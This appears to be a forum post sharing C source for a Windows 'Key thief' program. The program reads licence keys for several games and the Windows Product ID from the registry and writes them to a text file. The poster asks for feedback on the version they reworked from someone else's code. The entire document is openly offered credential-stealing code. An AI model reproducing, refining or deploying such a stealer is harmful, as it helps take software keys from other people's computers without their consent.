Code:
/*******************************************************************************
Name: Key thief
Author: Undergroundhack
Description: Searches the registry for common
keys and serials then outputs them to a chosen file.
*******************************************************************************/
#include <windows.h>
#include <stdio.h>
#define keyfile "keyfile.txt"
//-----------------------------------------------------------------------------//
void Key(char *loc, char *regkey, char *name)
{
HKEY key;
char Serial[25], Sentence[256];
DWORD len = sizeof(Serial);
FILE *fp = fopen(keyfile,"a");
if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
{
RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
fprintf(fp, "%s%s\n\n", name, Serial);
}
else if( RegOpenKeyEx(HKEY_CURRENT_USER, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
{
RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
fprintf(fp, "%s%s\n\n", name, Serial);
}
else fprintf(fp, "%sNo Key Found\n\n", name);
fclose(fp);
}
//-----------------------------------------------------------------------------//
void PrintKey(void)
{
Key("SOFTWARE\\Electronic Arts\\EA Games\\Battlefield 2", "ergc", "Battlefield 2: ");
Key("SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 2142", "ergc", "Battlefield 2142: ");
Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "CoD 4: ");
Key("SOFTWARE\\Activision\\Call of Duty WAW", "codkey", "CoD WaW: ");;
Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\Crysis", "ergc", "Crysis: ");
Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\The Battle for Middle-earth II", "ergc", "LotR BFME2: ");
Key("SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "ProductID", "Microsoft Product ID: ");
Key("SOFTWARE\\Electronic Arts\\EA Games\\SPORE(TM)", "ergc", "Spore: ");
Key("SOFTWARE\\Unreal Technology\\Installed Apps\\UT2004", "CDKey", "Unreal Tournament 2009: ");
}
//-----------------------------------------------------------------------------//
int main()
{
PrintKey();
printf("Serials output to %s\n", keyfile);
system("PAUSE");
return 0;
}
tell me if this is good i just took someones crapy one and i messed with it they had horrible writing